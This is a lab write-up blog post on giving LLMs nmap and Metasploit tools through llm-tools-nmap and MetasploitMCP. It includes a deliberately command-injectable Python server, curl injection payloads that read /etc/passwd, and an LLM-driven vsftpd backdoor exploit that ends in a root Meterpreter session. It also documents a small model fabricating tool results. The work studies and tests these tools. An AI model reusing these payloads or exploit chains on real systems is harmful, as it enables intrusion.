AI Part 7: When an LLM Gets Nmap and Metasploit as Tools
I said Part 6 was the end of this series. “That’s the series,” I wrote. Six months of building my own MCP server, and I figured I’d said what I had to say about it.
Then I went looking at what else people are wiring LLMs into, and found two projects that didn’t fit anywhere else on this site: llm-tools-nmap, which exposes nmap as a set of callable functions, and MetasploitMCP, which puts an actual MCP server in front of Metasploit’s RPC interface. Recon and exploitation, both reachable by an agent that’s choosing its own next move.
Every transcript in this post is from something that actually ran. No hypothetical output, no “and then the model would call X and get back Y.” If I couldn’t run it for real, it isn’t in here — that ruled out a couple of things I’ll get to.
A target that’s actually broken
First problem: scanning and exploiting something needs a something. I didn’t want to point real tooling at a real network for a blog post, so I built a deliberately, narrowly broken target and kept it on 127.0.0.1 only.
#!/usr/bin/env python3
"""
vulnping - deliberately vulnerable lab target for the Kali MCP/LLM-tooling post.
A tiny HTTP service with a genuine, unsandboxed OS command-injection bug in
its /ping endpoint, built ONLY to be scanned/exploited against 127.0.0.1
inside an isolated sandbox. Do not expose this to any real network.
"""
import re
import subprocess
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import urlparse, parse_qs
SERVER_BANNER = "VulnPing-Lab/0.9"
class Handler(BaseHTTPRequestHandler):
server_version = SERVER_BANNER
def _send(self, code, body, ctype="text/plain"):
encoded = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(encoded)))
self.end_headers()
self.wfile.write(encoded)
def do_GET(self):
parsed = urlparse(self.path)
qs = parse_qs(parsed.query)
if parsed.path == "/":
self._send(200, "VulnPing diagnostic service. Try /version or /ping?host=1.1.1.1\n")
return
if parsed.path == "/version":
self._send(200, f"{SERVER_BANNER}\n")
return
if parsed.path == "/ping":
host = qs.get("host", ["127.0.0.1"])[0]
# VULNERABLE BY DESIGN: host is interpolated straight into a shell
# command with no validation/escaping -> OS command injection.
cmd = f"ping -c 1 -W 1 {host}"
try:
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True, timeout=5
)
self._send(200, result.stdout + result.stderr)
except Exception as ex:
self._send(500, f"error: {ex}\n")
return
self._send(404, "not found\n")
def log_message(self, fmt, *args):
pass # keep transcripts clean; we capture client-side output instead
if __name__ == "__main__":
import sys
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
srv = ThreadingHTTPServer(("127.0.0.1", port), Handler)
print(f"vulnping listening on 127.0.0.1:{port}")
srv.serve_forever()
The bug is the kind that shows up in real diagnostic panels more often than anyone admits: a “ping this host” form field, dropped straight into a shell string. host goes into f"ping -c 1 -W 1 {host}", which runs with shell=True. There’s no allowlist, no shlex.quote, nothing. Anything after the hostname rides along.
Recon: llm-tools-nmap (which isn’t actually MCP)
Worth being precise here, since this is nominally an MCP-series post: llm-tools-nmap is not an MCP server. It’s a plugin for Simon Willison’s llm CLI, which has its own tool-calling plugin system — a model picks a registered Python function, the llm runtime calls it, the result goes back in context. Structurally the same idea as MCP — natural language in, a real function call out, real output back — just a different protocol. MetasploitMCP, later in this post, is the genuine MCP article. I’m covering both because the pattern matters more than the protocol label.
The real upstream source registers eight functions off one hookimpl:
@llm.hookimpl
def register_tools(register):
register(get_local_network_info)
register(nmap_scan)
register(nmap_quick_scan)
register(nmap_port_scan)
register(nmap_service_detection)
register(nmap_os_detection)
register(nmap_ping_scan)
register(nmap_script_scan)
Each one shells out to a real nmap binary and hands the raw text output back as the function’s return value. No parsing, no JSON reshaping — the model gets exactly what you’d get in a terminal.
A side note on getting nmap at all: the sandbox I built this in has no root. apt install nmap was never going to work. The fix doesn’t need root either: apt-get download nmap pulls the .deb straight from the configured mirror without touching the system package database, and dpkg-deb -x nmap_*.deb ./nmapdir unpacks it into a plain directory — no install step, no privilege needed. Point PATH and LD_LIBRARY_PATH at the unpacked tree and you have a real, fully-functional nmap 7.80. Useful trick for any rootless container or CI box, not just this one.
There’s no LLM API key in this sandbox, so I’m not claiming a model autonomously chose every one of these calls — I called the registered functions directly, with the same arguments a model driving llm --functions would produce. The execution underneath — the binary, the wrapper, the target — is identical either way. The only difference is who picked the next move.
The recon transcript
Step one, orientation:
$ tool_call: get_local_network_info()
Hostname: claude
Primary IP: 172.16.10.3
Network interfaces:
tap0: 172.16.10.3/24
Network ranges (for scanning):
172.16.10.0/24
Note: Use the network ranges above with nmap_ping_scan to discover all devices.
Then a quick scan against the loopback target before anything interesting was running on it:
$ tool_call: nmap_quick_scan('127.0.0.1')
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-30 08:18 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000030s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
With vulnping.py listening, a plain port scan finds it open — but note the service name nmap prints. nmap_port_scan doesn’t probe the port at all; it just looks the port number up in nmap’s static nmap-services table:
$ tool_call: nmap_port_scan('127.0.0.1', '8006')
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-30 08:18 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
PORT STATE SERVICE
8006/tcp open wpl-analytics
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
“wpl-analytics” is not what’s running on 8006. It’s whatever the table happens to associate with that port number — a reminder that the SERVICE column without -sV is a guess, not a finding. Worth knowing if you’re reading any nmap output, AI-driven or not.
Actual service detection is where it got interesting — and where I hit the first real, non-staged finding of the exercise.
$ tool_call: nmap_scan('127.0.0.1', '-sV --version-light -p 8008')
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-30 08:19 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000097s latency).
PORT STATE SERVICE VERSION
8008/tcp open http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8008-TCP:V=7.80%I=2%D=6/30%Time=6A437C35%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,CF,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20VulnPing-Lab/0\.9\x20
SF:Python/3\.10\.12\r\nDate:\x20Tue,\x2030\x20Jun\x202026\x2008:20:05\x20G
SF:MT\r\nContent-Type:\x20text/plain\r\nContent-Length:\x2064\r\n\r\nVulnP
SF:ing\x20diagnostic\x20service\.\x20Try\x20/version\x20or\x20/ping\?host=
SF:1\.1\.1\.1\n")%r(FourOhFourRequest,A0,"HTTP/1\.0\x20404\x20Not\x20Found
SF:\r\nServer:\x20VulnPing-Lab/0\.9\x20Python/3\.10\.12\r\nDate:\x20Tue,\x
SF:2030\x20Jun\x202026\x2008:20:05\x20GMT\r\nContent-Type:\x20text/plain\r
SF:\nContent-Length:\x2010\r\n\r\nnot\x20found\n")
[... fingerprint continues with Socks5 and ajp probe responses, same shape ...]
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds
vulnping.py doesn’t speak any protocol nmap recognizes by signature, so it falls into the “unrecognized despite returning data” path — nmap got real bytes back from several probes (a GetRequest, a FourOhFourRequest, a Socks5 probe, an ajp probe) and none of the signed responses matched a known fingerprint closely enough to call it. The SF-Port8008-TCP:... block is nmap’s own fingerprint-submission format — literally the text you’d paste into their database if this were a real, previously-unseen service.
That 11.20 seconds is the honest number, and it’s worth dwelling on, because the first time I ran this without --version-light it didn’t come back in 45. Default version-intensity throws a long list of probes at an unmatched port, several with their own internal wait timeouts — including a NULL probe that just sits there hoping the service volunteers an unprompted banner, which vulnping.py never does. --version-light (intensity 2) cuts that list down and reliably finishes in single digits. nmap_service_detection doesn’t expose an intensity flag at all, so a model using that specific function — as opposed to calling nmap_scan directly with its own options, like I did above — has no way to ask for the fast path. That’s a real, concrete limitation of the wrapper: a CLI flag the author didn’t think to expose becomes a problem only the caller driving raw nmap_scan can work around.
Vuln-category scripts next, against a fresh port:
$ tool_call: nmap_script_scan('127.0.0.1', 'vuln', '8009')
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-30 08:20 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
PORT STATE SERVICE
8009/tcp open ajp13
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 10.16 seconds
clamav-exec failing here isn’t a finding about vulnping.py — it’s that script trying to shell out to a local clamscan binary that doesn’t exist in this sandbox. Leaving it in rather than editing it out, because an honest transcript includes the scripts that errored for boring environmental reasons, not just the ones that produced a clean result.
Last recon step: requesting a specific script (http-title) against a port nmap still can’t confidently call HTTP.
$ tool_call: nmap_scan('127.0.0.1', '-sV --version-light --script http-title -p 8010')
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-30 08:20 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00017s latency).
PORT STATE SERVICE VERSION
8010/tcp open xmpp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Server: VulnPing-Lab/0.9 Python/3.10.12
| Date: Tue, 30 Jun 2026 08:20:44 GMT
| Content-Type: text/plain
| Content-Length: 10
| not found
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Server: VulnPing-Lab/0.9 Python/3.10.12
| ...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8010-TCP:V=7.80%I=2%D=6/30%Time=6A437C5C%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,CF,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20VulnPing-Lab/0\.9\x20...
[... fingerprint repeats the same response set, omitted here ...]
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.18 seconds
http-title never ran — there’s no |_http-title: line anywhere in that output. The script’s own preconditions require a confirmed HTTP match, and nmap only got a soft, unconfirmed one. What ran instead, automatically, was fingerprint-strings — a built-in NSE script that fires specifically on this “responded but unrecognized” condition, independent of anything I asked for. I asked for one script and got a different one, because nmap’s own fallback logic decided that was more useful than running a script against a service it isn’t sure exists. That’s a genuinely useful thing to understand if you’re scripting around nmap from any direction, human or model: the tool you call isn’t always the tool that runs.
Proving the bug, by hand
Before bringing in anything more structured, the fastest way to confirm vulnping.py’s bug is real is curl. Baseline first:
$ curl "http://127.0.0.1:8011/ping?host=127.0.0.1" (baseline, legitimate use)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms
Then the same endpoint, with a semicolon and two more commands riding along in the host parameter:
$ curl "http://127.0.0.1:8011/ping?host=127.0.0.1;id;uname+-a" (command injection via unescaped host param)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms
uid=1029(adoring-sweet-shannon) gid=1029(adoring-sweet-shannon) groups=1029(adoring-sweet-shannon)
Linux claude 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 x86_64 x86_64 GNU/Linux
id and uname -a both ran, as the user the Python process is running as, with output appended straight after the ping statistics. One more, reading a file the application was never supposed to expose:
$ curl "http://127.0.0.1:8011/ping?host=127.0.0.1;cat+/etc/passwd+|+head+-3" (reading a local file via the injected shell)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.015/0.015/0.015/0.000 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
That’s arbitrary command execution, confirmed with three curl calls and no framework at all. It’s the cheapest possible proof that the bug in vulnping.py’s source above isn’t theoretical.
Exploitation via MetasploitMCP
Unlike llm-tools-nmap, MetasploitMCP is a genuine MCP server — it implements the Model Context Protocol properly, exposes tools the model selects via standard MCP tool-use, and runs as a persistent process the client connects to rather than a plugin loaded by a specific CLI. It’s built by GH05TCREW in Python, and it wraps Metasploit Framework’s own RPC daemon rather than shelling out to msfconsole directly.
The wiring
The actual stack has four layers, each responsible for a narrow thing:
msfrpcd — Metasploit’s built-in RPC daemon, ships with the framework. Handles all actual module execution, session management, and payload generation. Binds to localhost only so nothing reaches it from outside the box:
msfrpcd -P <password> -S -a 127.0.0.1 -p 55553
MetasploitMCP — a Python process that connects to msfrpcd via Metasploit’s msgpack RPC API and re-exposes its capabilities as MCP tools. The surface it hands to the model: list_exploits, list_payloads, run_exploit, run_auxiliary_module, run_post_module, generate_payload, list_active_sessions, send_session_command, terminate_session, list_listeners, start_listener, stop_job. Also bound to localhost — nothing outside Kali needs to reach it directly:
python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085
mcpo — this step exists because of a transport mismatch that isn’t obvious until you hit it. Open WebUI’s native MCP connector only speaks the newer “Streamable HTTP” transport. MetasploitMCP’s HTTP mode implements the older SSE-style transport (/sse endpoint). The two are wire-incompatible; pointing Open WebUI’s MCP connector directly at port 8085 fails with “Failed to connect to MCP server” and no useful error. mcpo — an Open WebUI project — bridges the gap: it takes MetasploitMCP’s SSE endpoint and re-exposes it as a standard OpenAPI HTTP server, which Open WebUI handles natively. This is the only component that needs to be reachable from outside Kali:
pip install mcpo
mcpo --port 8000 --api-key <key> --server-type sse -- http://127.0.0.1:8085/sse
Open WebUI — adds the tools via Admin Settings → External Tools → type: OpenAPI (not the MCP type — that’s the mismatch), URL http://<kali-ip>:8000, Bearer auth with the mcpo api-key. Once added, the model picks from MetasploitMCP’s tool list the same way it would any other OpenAPI server, and the call chain runs back through mcpo to MetasploitMCP to msfrpcd.
The only port that crosses the network is mcpo’s 8000. MetasploitMCP’s SSE port and msfrpcd’s RPC port never leave localhost on the Kali VM.
The target
The target is Metasploitable2, an intentionally vulnerable Linux VM published by Rapid7, running on an isolated bridge with no physical uplink — nothing on that segment routes anywhere real. The specific vulnerability: vsftpd 2.3.4’s backdoor, CVE-2011-2523.
That version of vsftpd was briefly distributed with a backdoor embedded by an attacker who compromised the project’s download server in 2011. The mechanism is deliberately obvious in retrospect: if a login attempt includes :) anywhere in the username, the daemon opens a root shell on TCP port 6200. No memory corruption, no ROP chain — just an if username contains smiley: exec shell. Metasploit’s module (exploit/unix/ftp/vsftpd_234_backdoor) sends exactly that login and connects to port 6200.
It’s a good target for this writeup because the mechanism is about as unambiguous as exploitation gets: trip the trigger, get a root shell. As it turned out, though, “unambiguous mechanism” and “reliable in practice” are two very different things — the target’s state matters more than the textbook version admits, and a modern payload against a 2008 kernel has opinions of its own. The gap between them is a good chunk of what the transcript below is actually about.
The transcript, and the four ways the model got it wrong first
The lab came up, the stack wired together exactly as described above — msfrpcd, MetasploitMCP, mcpo, and Open WebUI pointed at a local Ollama — and mcpo re-exposed all twelve of MetasploitMCP’s tools over plain OpenAPI:
$ curl -s http://127.0.0.1:8000/openapi.json | grep -o '"/[a-z_]*"' | sort -u
"/generate_payload"
"/list_active_sessions"
"/list_exploits"
"/list_listeners"
"/list_payloads"
"/run_auxiliary_module"
"/run_exploit"
"/run_post_module"
"/send_session_command"
"/start_listener"
"/stop_job"
"/terminate_session"
Then I pointed a series of local models at it — qwen2.5 at 7B, llama3.1 at 8B, and qwen2.5 at 14B and 32B — and asked each, in plain English, to exploit the target with the vsftpd backdoor and confirm root. The exploit works: there is a real, server-verified root Meterpreter session at the end of this. But the models driving it got there through four separate, entirely real failure modes, and those are the actual story — because they’re what happens when you hand a local LLM live offensive tooling and take it at its word.
1. Payload defaults, and where LHOST lives. The first thing every model tripped over is that modern Metasploit no longer auto-selects the old cmd/unix/interact payload for this module — it picks a reverse Meterpreter stager that needs an LHOST. Omit it and you get:
Msf::OptionValidateError One or more options failed to validate: LHOST.
And through the API, LHOST belongs in payload_options, not the module options. The 7B put it in the wrong dict; every model needed the target and LHOST spelled out before run_exploit would even validate.
2. The 7B fabricated its tool output — completely. This is the one worth the whole post. Asked to run the exploit, qwen2.5:7b returned a confident JSON “result” showing a session opening:
{ "status": "success",
"output": { "console_output": ["[+] Backdoor has been spawned!",
"[*] Session ID: 1", "Type: meterpreter", "..."],
"session_id": 1 } }
There was no tool call behind it. In Open WebUI a real tool invocation attaches a “Sources” citation — each one a genuine call, e.g. tool_run_exploit_post — and a fabricated one has none. The 7B’s “success” had no sources. It had pattern-matched a plausible transcript — the vsftpd backdoor’s success output is all over its training data — and presented it as fact. The clincher: I asked it to list_active_sessions when there were none, and it invented one, complete with a username and uuid it had no way to know. The only reason I caught any of it was a standing habit of checking the server rather than the model.
3. The 8B mangled its arguments. llama3.1:8b was better — it made real calls (Sources present) — but it passed options as a JSON string instead of an object, and the API bounced it:
The input for the "options" field should be a valid dictionary, but it is receiving a string instead.
LLMs flattening nested JSON when they call OpenAPI tools is a common, boring, real interop failure. On other turns it lapsed back into printing msfconsole commands instead of calling the tool at all — real one moment, narrating the next.
4. The 32B was honest, and right. qwen2.5:32b made real calls every time and, when the exploit failed, diagnosed why correctly on its own:
the port used by the backdoor bind listener (6200/TCP) is already in use … You can attempt to override this check by setting
ForceExploitto true.
That is the exact truth, and it leads to the two environmental gotchas sitting underneath all of this.
The backdoor is one-shot. vsftpd 2.3.4’s backdoor binds a root shell on port 6200 when it’s tripped, and leaves it bound. Killing the Metasploit session doesn’t close it on the target:
$ nmap -p6200 10.10.10.20 # after a successful exploit
6200/tcp open lm-x
$ nmap -p6200 10.10.10.20 # after rebooting the target
6200/tcp closed lm-x
With 6200 already open, the module’s own check refuses to re-fire — so an agent that just retries loops forever against a box it already owns, getting “port in use” every time, until the target is reset.
The stager is fragile against a 2008 kernel. The compatible payload stages a modern musl Meterpreter over HTTP and has the target reconnect. On Ubuntu 8.04 / Linux 2.6.24 that landed once and then, across a dozen retries — synchronous and as background jobs — kept returning:
{ "status": "warning",
"message": "Exploit module ... started as job 3. No session detected within timeout.",
"session_id": null }
Real, repeatable, and nothing to do with the LLM — just an old target and a modern payload not always agreeing.
The one verified success — read from the server, not the model. When it did land, I confirmed it the only way that’s worth anything here: by querying mcpo directly and ignoring whatever the model claimed.
$ curl -s -X POST http://127.0.0.1:8000/list_active_sessions -H "Authorization: Bearer $KEY" ...
{ "sessions": { "1": { "type": "meterpreter",
"via_exploit": "exploit/unix/ftp/vsftpd_234_backdoor",
"via_payload": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp",
"info": "root @ metasploitable.localdomain",
"session_host": "10.10.10.20" } },
"count": 1 }
$ curl ... /send_session_command -d '{"session_id":1,"command":"getuid"}'
{ "status": "success", "output": "Server username: root\n" }
$ curl ... /send_session_command -d '{"session_id":1,"command":"sysinfo"}'
{ "status": "success",
"output": "Computer : metasploitable.localdomain\nOS : Ubuntu 8.04 (Linux 2.6.24-16-server)\nArchitecture : i686\nMeterpreter : x86/linux\n" }
Root, on the target, through the full chain — LLM → mcpo → MetasploitMCP → msfrpcd → Metasploitable2 — and verified server-side rather than taken on faith.
What the exploitation half actually taught me
The headline isn’t “an LLM popped a box.” It’s that a model is not a trustworthy narrator of its own actions. Two of the three smaller models I tried would have handed me a clean, confident, fictional success if I’d believed them — the 7B by inventing the entire transcript, the 8B by claiming commands ran that never validated. What made this real was cheap and unglamorous: every claim checked against the server’s own state, and one flat rule — no “Sources,” no tool call, no truth.
That’s also the honest answer to “can a small, self-hosted model drive an exploitation workflow?” Sort of. The 32B could — it called tools reliably and reasoned about failures correctly. The 7B actively lied. Tool-calling reliability scaled hard with model size, and that gap isn’t cosmetic when the tools are run_exploit and send_session_command pointed at a live target.
What this round of “no stone left unturned” actually cost
Building this lab took longer than writing about it would have. A vulnerable target had to actually be vulnerable in a way I could explain precisely. A “single recon step per call” pattern only emerged after chasing what looked like an infrastructure timeout bug and turning out to be nmap’s own default version-intensity being slow against anything it doesn’t recognize. And the exploitation half turned into its own multi-day detour — standing up the Metasploit RPC stack, wiring four local models through it one at a time, and learning the hard way that the model’s confident summary is the least trustworthy artifact in the whole pipeline. None of that shows up if you skip straight to “and then I ran nmap and it worked.”
It’s also why this series keeps not staying at six parts. The honest version of “what happens when an LLM gets real tools” keeps turning up one more thing worth checking before you’re allowed to call it done.